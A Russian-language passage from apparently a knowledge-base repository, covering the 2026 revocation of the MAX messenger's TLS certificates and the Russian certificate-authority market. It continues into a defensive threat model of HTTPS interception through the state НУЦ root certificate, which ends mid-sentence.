«ЗаТелеком»](https://t.me/zatelecom/23383)). Поэтому государственный сертификат по умолчанию работает только в отечественных продуктах вроде «Яндекс Браузера», а в остальных его приходится ставить вручную, обходя те же предупреждения. Лечат симптом, не болезнь. --- ## Разница между 2022 и 2026 Тогда у бизнеса оставалась лазейка: **GlobalSign** продолжал обслуживать россиян и оставался по сути последним крупным зарубежным коммерческим УЦ, готовым это делать. Теперь закрывается и эта дверь — именно GlobalSign начал **отзывать** сертификаты, ссылаясь на новые правила CA/Browser Forum. По оценкам рынка (по сообщениям СМИ, июнь 2026), речь о **15–20 тысячах доменов**. Если цифра подтвердится, это будет крупнейшая вынужденная миграция настроек со времён запуска НУЦ. Сужается и бесплатный путь: на истории MAX видно (см. хронику ниже), как Let's Encrypt — крупнейший в мире бесплатный УЦ — сначала аварийно выпустил сертификаты 6 июня, но спустя дни (11–12 июня) на основании санкций США **отказал** в дальнейшем выпуске подсанкционному лицу. > [!note] «Только НУЦ» — это преувеличение: УЦ в мире сотни > Удостоверяющих центров в мире не два и не три — их сотни. Но **глобально доверенных** (чьи корни вшиты в браузеры Apple/Google/Microsoft/Mozilla) — несколько десятков, и почти все под юрисдикцией США/ЕС, то есть под тем же санкционным комплаенсом. Поэтому для подсанкционной организации удобные **крупные западные** варианты сужаются — но «не осталось вовсе» было бы неверно. Во-первых, выданные сертификаты живут: те же 10 сертификатов Let's Encrypt от 6 июня **продолжают работать**, потому что отозвать их в одностороннем порядке LE не может (нужна санкция OFAC) — правда, это короткоживущие сертификаты: без продления они истекут примерно к началу сентября 2026, и тогда миграцию придётся повторять. Во-вторых, государственный оператор вроде VK почти наверняка **найдёт способ** — перевыпуск у других/мелких УЦ, смена провайдеров, промежуточные схемы. Реальная цена — не «совсем без HTTPS», а **постоянная вынужденная миграция** и нарастающая хрупкость, которая и подталкивает к НУЦ как к «стабильному» запасному варианту. > [!example] Живой пример: ВТБ → HARICA (июнь 2026) > У сайта ВТБ забрали прежний сертификат — и банк тут же взял новый у **HARICA** (Hellenic Academic and Research Institutions CA, греческий некоммерческий УЦ при сети университетов GUnet; бесплатный, с ACME, как Let's Encrypt, корень есть во всех браузерах). Это **DV-сертификат** (в поле Organization — «Not Part Of Certificate»): HARICA проверяла лишь контроль над доменом `vtb.ru`, а не юрлицо за ним, поэтому при автоматическом выпуске санкционный статус банка, скорее всего, просто не всплыл. Выдан 11 июня 2026, действует до 27 декабря 2026. > > Отберёт ли HARICA его обратно? Скорее да — рано или поздно, или хотя бы не продлит: HARICA в ЕС, а ВТБ под санкциями и ЕС, и США, так что давление то же, что прижало GlobalSign и Let's Encrypt. Но не мгновенно (юридически серая зона: считается ли автоматический DV-выпуск «услугой» подсанкционному лицу) и не обязательно через досрочный отзыв — могут просто не продлить по истечении. А даже если отберут — банк перепрыгнет на следующий УЦ. Это и есть та самая **беговая дорожка**, а не «без HTTPS». > > Продолжение (июль–август 2026): вышло иначе, чем ожидалось, но дорожка подтвердилась. HARICA по жалобам исследователей отзывать сертификаты подсанкционных банков **отказалась** (аргумент: DV-выпуск подтверждает лишь контроль домена, санкционную проверку УЦ проводить не обязан), а споткнулся другой УЦ: китайский TrustAsia, куда банки ушли параллельно, 3 августа 2026 свои сертификаты отозвал — и семь банков, включая Сбербанк, ВТБ и Т-Банк, перешли на НУЦ. Разбор обоих кейсов — в [[nuc/banks-nuc-certs-august-2026|отдельной заметке]]. --- ## Хроника «военных действий» вокруг госмессенджера MAX (весна–лето 2026) Историю удобнее читать как цепочку: каждое звено по отдельности не катастрофа, но вместе они показывают, как сервис выдавливают из мирового интернета. | Дата (2026) | Событие | |---|---| | **9 апреля** | Cloudflare относит рабочие домены стороннего клиента Telegram «Telega» к шпионскому ПО — в тот же день приложение пропадает из App Store (в Google Play и RuStore остаётся). Через пару дней (≈11 апреля) метку снимают как ошибочную, но GlobalSign успевает отозвать у «Telega» сертификат. *(По сути — репетиция сценария, который позже повторится с MAX.)* | | **30 апреля** | Cloudflare Radar помечает домен `max.ru` как Spyware и вредоносный. Это **автоматическая** метка по поведению веб-страницы и аналитики, а не доказанный шпионаж — само приложение никто не разбирал. | | **1 мая** | VK объясняет всё технической ошибкой (Cloudflare неверно прочитал заголовки веб-аналитики). Метку со страницы убирают, но в отчёте за 30 апреля она остаётся — а отчёт уже разошёлся по СМИ. Такая же метка всплывает у `web.max.ru`. | | **3–4 июня** | Apple удаляет MAX из App Store, ссылаясь на санкции (российские пользователи заметили вечером 3 июня; в части СМИ событие датируют 4 июня). Пользователям iPhone остаётся веб-версия. | | **5–6 июня** | GlobalSign **досрочно отзывает** TLS-сертификат для `*.max.ru` (действовал бы до февраля 2027): по одним сообщениям — вечером 5 июня, по другим — 6 июня. Статус Revoked — и сертификат разом перестаёт быть доверенным у Mozilla, Apple, Android, Java и Windows. | | **6 июня** | Веб-версию накрывает: Firefox — красный экран, Chrome — ошибка отозванного сертификата, Safari не пускает совсем, домен начинает ругать и антивирус Касперского. VK за часы переводит платформу на бесплатные сертификаты **Let's Encrypt** (в этот день выпущено 10 сертификатов на `max.ru` и поддомены) и частично возвращает доступ — но тысячи пользователей уже упёрлись в предупреждения. | | **11–12 июня** | Тупик и с Let's Encrypt: УЦ **отказывает в выпуске** новых сертификатов для `max.ru`. Исполнительный директор ISRG (Internet Security Research Group — НКО, оператор Let's Encrypt) подтверждает официально: домен «в конечном счёте контролируется подсанкционным лицом» (ООО «Коммуникационная платформа», связано с VK). Сообщество требует **отозвать** и уже выданные 6 июня сертификаты — но LE отвечает, что без указания OFAC (управление Минфина США по контролю за иностранными активами) сделать этого не может. | > [!warning] Что именно говорит Let's Encrypt (по первоисточнику) > Блокировка `max.ru` — это **санкционный комплаенс США (OFAC)**, а не «месть» и не блок доменной зоны `.ru`. Исполнительный директор ISRG прямо заявил: домен заблокирован, потому что «в конечном счёте контролируется подсанкционным лицом», и это **продолжение давней политики**, а не следствие свежего обновления Subscriber Agreement. При этом 4 июня 2026 соглашение LE действительно обновили, добавив запрет на использование для тех, кто связан со «страной/территорией под всеобъемлющими санкциями США» (по Wikipedia — Куба, Иран, КНДР, Россия, отдельные регионы Украины). Тонкость про невозможность отзыва: прекращение услуги подсанкционному лицу **само по себе может быть «транзакцией»** с ним, на которую нужна санкция OFAC — поэтому LE заблокировал новый выпуск, но в одностороннем порядке не отзывает уже выданное. > [!note] Про обвинения MAX в слежке > Требуя отзыва сертификатов, участники сообщества ссылались на метку Cloudflare и на разборы. Технический разбор на habr документирует прежде всего модуль **детекта VPN и доступности хостов**; более серьёзные утверждения (сбор геолокации, перечень установленных приложений, запись аудио/видео) фигурируют в материалах Novaya Gazeta Europe (30 апреля 2026) и RKS Global. Важно: это **обвинения и автоматические метки**, а не доказанный в суде факт — независимо приложение публично не вскрывали. > [!note] Про ISO/IEC 27001 в оправданиях VK > VK напоминает, что проходит аудиты и держит Bug Bounty. Аудит по ISO/IEC 27001:2022 действительно проходил (по открытым данным — сервис VK ID, аудитор Tüv Austria Standards & Compliance), но это аудит **менеджмента** безопасности — он демонстрирует, что есть процессы по ИБ, и **не исключает** преднамеренной передачи данных по требованию властей. Более того, такой процесс может быть прекрасно описан в рамках того же стандарта. Что из этого видно: удар шёл не в одну точку, а по всей опоре — репутация домена, место в App Store, доверенный сертификат. Выбей любую — и сервис спотыкается. А **отзыв сертификата опаснее остального**: он бьёт не по одному мессенджеру, а по самому механизму доверия, на котором держится весь рунет. --- ## Мировой рынок УЦ и его зависимость от бигтеха Чтобы понять варианты ответа властей, важно видеть расклад. Рынок доверия сильно сконцентрирован (доли — по числу сайтов, по данным [my-ssl.com](https://my-ssl.com/learn/top-10-ssl-cas)): | Удостоверяющий центр (УЦ) | Кратко | Доля рынка | |---|---|---| | **Let's Encrypt** | Некоммерческий, бесплатные автоматизированные SSL. Абсолютный лидер | **68,2 %** | | **GlobalSign** | Бельгийско-японский гигант: крупный бизнес, облачная автоматизация, IoT | **20,4 %** | | Sectigo (ранее Comodo) | Коммерческий широкого профиля: от дешёвых розничных до корпоративных | 5,3 % | | GoDaddy Group | УЦ регистратора доменов, авто-выпуск для своих клиентов хостинга | 3,8 % | | DigiCert Group | Премиальный корпоративный (бренды Norton, Thawte, GeoTrust) | 1,8 % | | Actalis | Крупный итальянский, ЕС | 0,7 % | | Certum | Польский, популярен в Восточной Европе | 0,5 % | | Secom Trust | Влиятельный японский | 0,3 % | | Остальные | Сотни мелких/национальных (SSL.com, TWCA, Chunghwa Telecom и др.) | < 0,1 % | > [!note] Про точность цифр > Это снимок одного источника (my-ssl.com, доли «по числу сайтов»); из-за округления сумма выходит чуть больше 100 %, а у других агрегаторов (w3techs, 6sense) цифры отличаются на несколько пунктов — Let's Encrypt там ~63–65 %, GlobalSign ~22–24 %. Важен порядок величин: Let's Encrypt — около двух третей рынка, GlobalSign — около пятой части. > [!important] Кто на самом деле держит рубильник доверия > Все УЦ зависят от горстки производителей браузеров — буквально по пальцам одной руки: **Apple, Google, Microsoft и Mozilla**. Если хотя бы одна из этих компаний удалит корень УЦ из доверенных, бизнесу этого УЦ приходит конец: никто не купит сертификат, который не работает в Chrome. Так в 2024–2025 произошло с **Entrust**: Google и Mozilla объявили о недоверии (середина 2024) к его публичным TLS-сертификатам, выпущенным после установленной даты (для Chrome — после 11 ноября 2024, для Firefox — после 30 ноября 2024), — и этот его бизнес фактически свернулся. Заметь строку GlobalSign в таблице: на отозванном у MAX центре висит **пятая часть** мировых сайтов — отсюда и разговоры об «ответном ударе» именно по нему. --- ## Пять сценариев ответа российских властей > [!note] Это прогнозы, а не факты > Ниже — аналитические сценарии (от мягкого к крайнему) с субъективными оценками вероятности, а не свершившиеся события. Они нужны, чтобы оценить «коридор» возможных ответных шагов. 1. **Договариваться.** Минцифры садится за стол с Apple и GlobalSign, пытаясь вернуть приложения в магазины, а сертификаты — в строй. *Самый безболезненный для пользователя исход, но компании не вернут то, что им запрещено санкционным законом их страны.* **Вероятность: низкая** — разговор уже идёт и пока безрезультатно. 2. **Пересадить всех на свой центр.** Добиваться, чтобы корень НУЦ стоял на каждом устройстве, а сайты переходили на отечественные сертификаты. *Внутри страны замочек снова горит, но в зарубежных браузерах корень НУЦ как не признавали, так и не признают — лечат симптом.* **Вероятность: высокая** — это делают с 2022 года, просто ускорят. 3. **Зашить корень НУЦ в технику и браузеры.** Обязать продавать в России только устройства с предустановленным корнем НУЦ и подталкивать к «Яндекс Браузеру». *Госсертификат становится бесшовным, но лишь в отечественной среде; iPhone и зарубежные браузеры в схему не укладываются.* **Вероятность: средняя** — технически готово, упирается в политическую волю давить на производителей; вдобавок миллионы ввезённых устройств никто не проконтролирует. 4. **Ударить зеркально.** Ограничить технику Apple на рынке РФ и сам GlobalSign, на чьих сертификатах висят десятки тысяч российских сайтов. *Красивый жест, рубящий сук под собой: обвалятся ровно те площадки, что ещё держатся на GlobalSign.* **Вероятность: низкая** — против выступает даже глава «Ростелекома» Михаил Осеевский (назвал шаг Apple недружественным, но призвал не отвечать зеркально). 5. **Захлопнуть дверь совсем.** Перевести рунет в режим изоляции: замкнуть трафик на внутренние узлы, национальную систему доменных имён и оборудование фильтрации. *Сертификаты мировых центров тогда просто не нужны — внутри действует своя система доверия, ценой обрыва с глобальной сетью, ударов по экономике, банкам, бизнесу и обычной связи.* **Вероятность: ещё недавно сказали бы «низкая». Сегодня — уже нет.** --- ## Почему крайние сценарии перестали быть страшилкой > [!warning] Острая политическая оценка из открытых источников > Этот раздел — авторская интерпретация на основе публикаций и расследований, а не установленный судом или официально подтверждённый факт. Приведённые атрибуции (кто и к чему причастен), а также оценки мотивов и намерений сторон отражают версию источников и приводятся как контекст, а не как доказанное утверждение. Тревога вокруг крайнего, пятого сценария (изоляции) — в том, **кто** теперь курирует рунет. По появившимся сведениям, это не Минцифры и не технари, а «Вторая служба» — Служба по защите конституционного строя и борьбе с терроризмом (ряд независимых расследований — без официального подтверждения и приговора суда — связывает её сотрудников с отравлениями Алексея Навального и Владимира Кара-Мурзы). Раньше отрасль вели люди с майндсетом безопасников, но говорившие с рынком на одном языке и считавшие деньги. Судя по публичной риторике, эти — денег не считают: для них интернет не экономика и не связь, а поле борьбы с «крамолой». И если выбор встанет между сохранением сети и полным контролем над ней, отключить сеть для них, по этой логике, — не беда. Вот в чём настоящая опасность отозванного сертификата. Дело не в одном мессенджере и даже не в банках, а в том, что решение принимают те, для кого **обрыв с миром — приемлемая цена**. А когда так думает куратор, крайний — пятый — сценарий перестаёт быть фантастикой. > [!quote] Важная оговорка про «изоляцию» > Splinternet бьёт прежде всего по самой РФ и людям внутри неё — это во многом самоповреждение (self-harming). Для внешнего мира издержки несопоставимо меньше, хотя и не нулевые (теряется доступ к российской аудитории и рынку, рвутся трансграничные сервисы и связь с диаспорой). Можно считать такой исход очень плохим — но и вечно жить в страхе перед ним не выход. --- ## Итог Отзыв сертификата опаснее удаления из магазина приложений, потому что бьёт не по одной компании, а по **всем сразу**: по бизнесу, по привычке пользователя доверять замочку и по самому фундаменту доверия в сети. Государственный НУЦ эту проблему не решает — он лишь переносит точку доверия на сторону, которую нельзя проверить извне и которую можно обязать законом. А на фоне того, что — по версии ряда наблюдателей — решения принимают люди, готовые к обрыву с глобальной сетью, главный риск — не «не откроется мессенджер», а сам сценарий splinternet. --- ## 📚 См. также - [[nuc/00-overview|Раздел «Сертификаты Минцифры (НУЦ)»]] — обзор темы и практика: проверка и удаление корня, изоляция доверия, ГОСТ-TLS, встроенное доверие в отечественных браузерах - [[nuc/post-cert-danger-kratko-june-2026|Коротко: замочек погас — почему это касается каждого]] — сжатая версия этой статьи для широкой аудитории - [[DPI/post-pochemu-legli-ru-sajty-iyun-2026|Почему «легли» ру-сайты в июне 2026 (ТСПУ)]] — соседний разбор того же периода: как операторское оборудование фильтрации ломает легитимные сайты - [[DPI/ru-network-blocklists|Сетевые блокировки в РФ]] — общий контекст инфраструктуры цензуры - [[VLESS/dpi-tls-june-2026|Сибирская схема: подсеть + фингерпринт + частота]] — как устроена детекция TLS-трафика на стороне ТСПУ - 🔗 [Let's Encrypt forum: почему выпуск сертификата для max.ru запрещён политикой](https://community.letsencrypt.org/t/why-issue-certificate-for-max-ru-forbidden-by-policy/248143) — **первоисточник**: официальное подтверждение блокировки по санкциям (OFAC), обновление Subscriber Agreement от 4 июня 2026, нюанс с невозможностью отзыва - 🔗 [Разбор MAX как spyware (habr, рус.)](https://habr.com/ru/articles/1006666/) — на него ссылалось сообщество, требуя отзыва сертификатов (обвинения, не доказанный факт) - 🔗 [Объяснение про корень НУЦ (репост в канале «ЗаТелеком», 2022)](https://t.me/zatelecom/23383) — почему госкорень не попал в списки доверия - 🔗 [Топ-10 мировых УЦ (my-ssl.com)](https://my-ssl.com/learn/top-10-ssl-cas) — источник долей рынка из таблицы выше - 🔗 [Минцифры: о сертификатах безопасности](https://digital.gov.ru/activity/kiberbezopasnost/sertifikaty-bezopasnosti) — официальная страница НУЦ: история (с 2021), ГОСТ-вариант (2025), выдача юрлицам - 🔗 [Госуслуги: поддержка российских сертификатов](https://www.gosuslugi.ru/crt) и [сертификаты у Сбербанка](https://www.sberbank.ru/ru/certificates) — как государство и банк предлагают ставить корневой и выпускающий сертификаты / «Яндекс Браузер» --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/nuc/mincifry-nuc-certs-danger-june-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-06-14 tags: - tls - certificates - nuc - mitm - threat-model - rkn - privacy aliases: - Модель угроз корня НУЦ - Что можно сделать через государственный корневой сертификат - HTTPS-перехват через НУЦ - Атаки через доверенный корень CA - Российские сертификаты безопасности опасность - Сертификаты Минцифры модель угроз link: https://www.gosuslugi.ru/crt --- # 🕳️ Что технически возможно через корень НУЦ: модель угроз HTTPS-перехвата > [!info] О чём заметка > Подробный разбор того, какие атаки становятся возможны, если в твоё хранилище доверия попадает корневой сертификат государственного удостоверяющего центра — НУЦ (Национальный удостоверяющий центр) — и/или если такой центр взломают. Это **модель угроз** (что становится возможным технически) и документированные прецеденты, а не утверждение, что это уже делается. Контекст и почему государство вообще предлагает ставить этот корень — в [[nuc/mincifry-nuc-certs-danger-june-2026|большой статье про опасность сертификатов Минцифры]]. > [!note] Как они называются официально (это всё — одно и то же) > На Госуслугах, у Сбербанка и в материалах Минцифры их называют «**российскими сертификатами безопасности**», «**сертификатами безопасности**» или «**сертификатами Минцифры**»; полное имя центра — «**Национальный удостоверяющий центр (НУЦ) Минцифры РФ**». Технически это обычные TLS/SSL-сертификаты от государственного удостоверяющего центра (в промышленной эксплуатации с 2021 года; с 2025 на Госуслугах доступен и вариант с шифрованием по ГОСТ). Бесплатно их получают **юрлица — владельцы сайтов**, а пользователю предлагают либо поставить в систему **корневой и выпускающий** сертификаты, либо пользоваться «Яндекс Браузером», где они встроены по умолчанию. В этой заметке для краткости они зовутся «корень НУЦ» / «сертификат Минцифры» — речь об одном и том же. > [!warning] Возможность ≠ доказанное злоупотребление > На дату заметки (июнь 2026) нет публичных доказательств массового перехвата трафика через корень НУЦ. Опасность здесь **структурная и подтверждена прецедентами в других странах**, а не репортажем о конкретном факте в России. Дальше речь о том, что *становится возможным*, а не о том, что *уже происходит*. --- ## TL;DR 1. Доверенный корневой сертификат в твоём устройстве может выписать «настоящий» сертификат **на любой домен** — `sberbank.ru`, `google.com`, `gosuslugi.ru`. 2. Сложи это с контролем над каналом (операторское оборудование фильтрации, [[DPI/post-pochemu-legli-ru-sajty-iyun-2026|ТСПУ]]) — и получается **прозрачный перехват HTTPS (MITM)**: трафик читают и могут менять, а замочек остаётся зелёным. 3. Главный технический нюанс: **вручную установленный корень обходит защиты**, которые ловят подлог у публичных УЦ (Certificate Transparency, требования браузеров). Поддельные сертификаты от такого корня **не видны** в публичных логах. 4. Возможные последствия: кража паролей, cookie и одноразовых кодов (OTP), чтение переписки, подмена страниц, **внедрение кода в обновления ПО**, точечная слежка за конкретными людьми. 5. Как это выглядит на бытовом действии — разобрано по шагам на примере комментария под новостью: что именно видит перехватчик (текст, аккаунт, cookie сессии) и почему пользователь ничего не замечает. 6. Это уже было: **DigiNotar (2011)** — взлом УЦ и массовый перехват ~300 тыс. иранцев; **Казахстан (2019–2023)** — государство навязывало свой корень для MITM, браузеры его заблокировали. 7. Для обычного гражданина это не абстракция: под ударом деньги (перехват одноразовых кодов), переписка (материал для дел за публикации) и устойчивость устройства к чужим взломам — разбор в разделе про риски для гражданина ниже. 8. Чего перехват НЕ ломает: соединения с **пиннингом** сертификата (банковские приложения, Telegram, встроенные пины Chrome), сквозное шифрование (E2E) внутри приложений, и — если ты **просто не ставишь** корень. --- ## Предусловия атаки Чтобы всё нижеперечисленное стало возможным, нужны три условия. Опасность ровно в том, что в текущей ситуации они складываются: 1. **Корневой и выпускающий сертификаты НУЦ установлены** в твоём хранилище доверия (на «Госуслугах» и у Сбербанка предлагают поставить именно оба; государство активно подталкивает к этому, потому что иначе госсертификаты дают красный экран). 2. **Центр контролируется или может быть принуждён** — государственный УЦ под национальной юрисдикцией обязан исполнить законное требование выписать нужный сертификат. 3. **Контроль над каналом** — весь трафик в стране уже проходит через операторское DPI-оборудование (ТСПУ), которое технически может встать «в разрыв». --- ## На пальцах > [!example] Аналогия > Доверенный корень — это **нотариус, чьей подписи браузер верит без вопросов**. Обычные публичные нотариусы (УЦ) работают под надзором: каждую заверенную бумагу они обязаны публиковать в открытом реестре, а за подлог их лишают лицензии — и браузеры выкидывают их из доверия. Государственный нотариус под «своей» юрисдикцией такому надзору не подчиняется. Установив его корень, ты выдаёшь ему **чистый бланк со своей подписью**: он может задним числом выписать «подлинный» сертификат на `gosbank.ru` или `google.com` — и браузер покажет зелёный замочек на подделке. --- ## Конкретные атаки, которые это открывает - **Прозрачный перехват HTTPS (man-in-the-middle).** Узел в разрыве (ТСПУ) на лету предъявляет тебе валидный сертификат сайта, расшифровывает трафик, читает/меняет его и пересылает настоящему серверу. Замочек зелёный, предупреждений нет. - **Кража учётных данных и сессий.** В расшифрованном потоке видны логины, пароли, токены и cookie сессий, **одноразовые коды (OTP)** из СМС/пушей, передаваемые на сайт. Двухфакторка на основе кода в этом канале не спасает. - **Чтение и подмена переписки** в веб-версиях мессенджеров и почты, не использующих сквозное шифрование. - **Точечная (таргетированная) слежка.** Не обязательно перехватывать всех — можно выборочно конкретных людей (журналистов, активистов). Такой точечный перехват трудно заметить со стороны. - **Фишинг с «настоящим» замочком.** Поддельный портал банка или госуслуг с валидным сертификатом — пользователь не отличит его от настоящего по замочку. - **Подмена обновлений и установщиков ПО.** Очень много софта качает обновления по HTTPS. Перехват позволяет **подсунуть троянизированную версию** обновления/пакета — это путь к компрометации устройства, а не только к чтению трафика. - **Внедрение контента и скриптов** прямо в страницы на лету (инъекция, цензура отдельных фрагментов, подмена реквизитов для оплаты). - **Обход HSTS.** HSTS заставляет браузер ходить только по HTTPS, но он **доверяет цепочке сертификатов**. Если сертификат «валиден» через доверенный корень, HSTS не мешает перехвату. --- ## Разбор одного случая: комментарий под новостью Список атак выше выглядит абстрактно, поэтому вот одно бытовое действие, разобранное по шагам: человек пишет комментарий под новостью на обычном сайте. Ничего секретного, ничего «шпионского» — ровно та ситуация, про которую говорят «мне скрывать нечего». **Как это происходит без корня НУЦ.** Браузер устанавливает TLS-соединение с сайтом: сайт предъявляет сертификат, браузер проверяет, что этот сертификат выдан доверенным УЦ **именно на этот домен** и что срок не истёк. Только после этого включается шифрование, и всё, что уходит на сервер, — текст комментария, cookie сессии, заголовки — уже не читается посторонними на пути. Если оборудование оператора попробует встать посередине и притвориться сайтом, ему нечего предъявить: сертификат на чужой домен ни один публичный УЦ ему не выпишет. Браузер покажет красный экран, и перехват станет **видимым**. **Что меняется, если корень НУЦ установлен.** Корень в хранилище означает буквально: «я верю любому сертификату, который подписал этот центр». А подписать этот центр технически может сертификат на **любой** домен — новостного сайта, соцсети, почты. Дальше схема разворачивается так: 1. Ваш трафик и так проходит через операторское оборудование фильтрации ([[DPI/post-pochemu-legli-ru-sajty-iyun-2026|ТСПУ]]), стоящее в разрыве канала. 2. На ваш запрос к сайту это оборудование отвечает **вместо сайта** и предъявляет сертификат на его домен, подписанный НУЦ. Браузер проверяет цепочку, находит доверенный корень — сертификат валиден. Замочек зелёный, предупреждений нет. 3. Перехватчик расшифровывает ваш поток, читает и при желании меняет его, а параллельно поднимает **своё** соединение с настоящим сайтом и пересылает данные дальше. Ни вы, ни сайт разрыва не замечаете: страница открывается, комментарий публикуется. **Что конкретно видно в этот момент:** текст комментария в момент отправки (он уходит обычным POST-запросом), аккаунт, под которым вы пишете, и **cookie сессии** — их можно не только прочитать, но и забрать, получив доступ к аккаунту без пароля и без второго фактора; сюда же — привязка «этот IP-адрес и это устройство = этот аккаунт», а также черновики и личные сообщения в веб-версиях сервисов без сквозного шифрования. Обратное направление тоже открыто: страницу можно изменить на лету — не доставить комментарий, подменить чужой, встроить скрипт. > [!note] Возражение «сайт и так видит мой комментарий» > Видит — он его и публикует. Разница в трёх вещах. Во-первых, читает **третья сторона**, которой вы данных не давали и которая по TLS видеть их не должна. Во-вторых, это работает на **любых** сайтах сразу, включая зарубежные, куда российский оператор иначе доступа не имеет: не «сайт знает своё», а один наблюдатель собирает всё в одном месте. В-третьих, вместе с текстом утекают **сессии** — то есть возможность действовать от вашего имени. **Почему это не заметить.** Единственный внешний след — строка «Издатель» в свойствах сертификата (`Russian Trusted Sub CA` вместо привычного западного УЦ), куда обычный человек не заглядывает никогда. В публичные логи Certificate Transparency такой сертификат не попадает — вручную добавленные корни от этой проверки освобождены (следующий раздел). Оповещения браузера не будет: с его точки зрения всё в порядке, вы же сами внесли этот корень в доверенные. > [!warning] Это описание возможности, а не зафиксированного случая > Публичных доказательств, что комментарии россиян перехватывают через корень НУЦ, на август 2026 нет — как и вообще доказательств массового MITM через него. Разбор выше показывает, что установка корня **снимает техническое препятствие** для такого перехвата, и ровно этот механизм задокументирован в Казахстане в 2019–2023 (раздел ниже). Оценивать стоит не «делают ли это прямо сейчас», а «что станет возможным без вашего ведома, если вы корень поставите». --- ## Почему обычные УЦ так не могут — и почему ручная установка это ломает У публичных УЦ есть несколько внешних предохранителей, и государственный корень в обход них: - **Certificate Transparency (CT).** Публичные УЦ обязаны публиковать каждый выданный сертификат в открытые append-only логи; Chrome и Safari **требуют** доказательство публикации (SCT). Поэтому подлог публичного УЦ виден независимым наблюдателям почти сразу. - **Программы доверия браузеров** (Mozilla, Chrome, Apple, Microsoft) с аудитом и правом исключить УЦ за нарушения. > [!important] Ключевой нюанс: локальный корень обходит CT > Требование Certificate Transparency в Chrome распространяется на корни **из его собственной программы доверия**. Сертификаты, выписанные **вручную добавленным** (или корпоративным/государственным) корнем, от проверки CT **освобождаются**. Именно поэтому ручная установка корня НУЦ так опасна: поддельные сертификаты от него **не попадают в публичные логи и не вызывают предупреждений** — внешний контроль, на котором держится вся система, к нему просто не применяется. Это же и есть причина, по которой мировые браузеры отказались включать корень НУЦ в свои списки доверия — и почему его приходится ставить руками. --- ## А если сертификаты «взломают» (компрометация УЦ) Принуждение государством и взлом третьей стороной дают **один и тот же результат** — способность выписать валидный сертификат на любой домен: - При **компрометации инфраструктуры/закрытого ключа** УЦ атакующий получает то же «всемогущество» по отношению ко всем, кто доверяет этому корню. - Чем шире распространён корень (предустановлен на устройствах, в браузерах), тем больше масштаб ущерба от единичного взлома. > [!quote] Прецедент: DigiNotar, 2011 > Нидерландский УЦ DigiNotar был взломан; атакующий выписал сотни мошеннических сертификатов, включая `*.google.com`, и они использовались для **перехвата почты примерно 300 000 пользователей в Иране**. После раскрытия DigiNotar исключили из доверия все браузеры, и компания обанкротилась. Это хрестоматийный пример того, что значит «взломали УЦ»: один скомпрометированный доверенный центр = массовый незаметный MITM. --- ## Это уже навязывали как госполитику: Казахстан > [!quote] Прецедент: Казахстан, 2019–2023 > Власти Казахстана несколько раз пытались обязать граждан установить **государственный корневой сертификат** («Qaznet» / «сертификат безопасности»): провайдеры требовали поставить его для доступа в интернет, после чего трафик к ряду сайтов (Google, Facebook, Twitter и др.) можно было расшифровывать. Ответ был однозначным: Google, Mozilla и Apple **внесли этот корень в чёрные списки** своих браузеров, чтобы защитить пользователей даже после установки. Сценарий «государство ставит свой корень → MITM граждан» — не гипотеза, а описанный и пресечённый случай. Параллель прямая: установка корня НУЦ на территории РФ функционально повторяет казахстанскую схему — с той разницей, что весь трафик уже идёт через ТСПУ. --- ## Почему это опасно именно для обычного гражданина РФ Частый ответ на все предупреждения выше — «мне скрывать нечего, я не активист и не журналист». Но модель угроз корня НУЦ бьёт не по «шпионам», а по повседневной жизни, и вот что конкретно ставит на кон обычный человек: - **Деньги.** Перехват HTTPS вскрывает логины, сессии и одноразовые коды (см. список атак выше) — это прямой путь к счетам. Причём «контролирует корень и канал» — это не абстрактное государство, а конкретная инфраструктура с конкретными сотрудниками и подрядчиками: доступ к возможности перехвата получает каждый, кто законно или незаконно дотянулся до неё. Прецедент DigiNotar показывает, что бывает, когда такую точку ломают третьи лица. - **Переписка и «слова».** В России ведутся административные и уголовные дела за публикации, комментарии и личные сообщения (по данным правозащитных организаций, счёт таких дел идёт на сотни в год). Расшифрованный трафик превращает историю посещений, веб-переписку и черновики в потенциальный материал — даже задним числом: то, что сегодня нейтрально, завтра может быть переквалифицировано. - **Единая точка отказа.** Чем больше устройств доверяет одному государственному корню, тем разрушительнее единственный взлом или инсайдер. Российские государственные и окологосударственные системы регулярно фигурируют в сообщениях об утечках данных — расширять на эту инфраструктуру ещё и доверие своего HTTPS значит привязывать свою безопасность к её самому слабому звену. - **Необратимость и бесконтрольность.** У обычных УЦ подлог ловится публичными логами Certificate Transparency и наказывается исключением из браузеров. У вручную установленного корня НУЦ таких предохранителей нет: перехват не оставляет следов, которые пользователь мог бы увидеть, а оспорить злоупотребление в независимой инстанции внутри той же юрисдикции малореально. - **Нормализация.** Каждый установленный корень — аргумент в пользу того, чтобы сделать установку обязательной («все уже поставили»). Отказ от установки — это ещё и коллективный тормоз для сценария, в котором корень зашивают всем принудительно ([[nuc/mincifry-nuc-certs-danger-june-2026#Пять сценариев ответа российских властей|сценарий 3 в большой статье]]; к августу 2026 обсуждаемый реестр браузеров с обязательными сертификатами НУЦ делает его заметно ближе). Проще говоря: «нечего скрывать» не работает, потому что на кону не тайны, а деньги, приватность переписки и устойчивость твоего устройства к чужим ошибкам и злоупотреблениям. Все эти риски человек включает сам, одним действием — установкой корня. > [!danger] Вывод: корень НУЦ ставить нельзя > Установка корня НУЦ в систему — это добровольная выдача технической возможности незаметно читать и подменять твой HTTPS стороне, которую нельзя ни проверить извне, ни привлечь к ответу изнутри. Госсайты, которым он «нужен», открываются и без него — через [[nuc/safe-usage|изоляцию доверия]] (отдельный браузер, профиль или устройство). Если корень уже стоит — [[nuc/check-remove|проверь и удали]]. --- ## Чего такой перехват НЕ может Важно не впадать в панику — атака не всесильна: - **Пиннинг сертификата (certificate pinning).** Приложения, которые «прибивают» ожидаемый сертификат/ключ (многие банковские приложения, Telegram, а также встроенные пины Chrome для доменов Google), **не примут** сертификат, выписанный корнем НУЦ, — соединение просто оборвётся, а не перехватится. - **Сквозное шифрование (E2E).** TLS-перехват вскрывает транспорт, но не внутренний слой E2E: содержимое Signal, секретных чатов Telegram, WhatsApp остаётся закрытым (хотя метаданные и не-E2E сервисы — нет). - **Если ты не установил корень.** Без корня в хранилище ни одна из этих атак не работает — ты просто получишь честное предупреждение браузера вместо незаметного перехвата. - **Firefox со своим 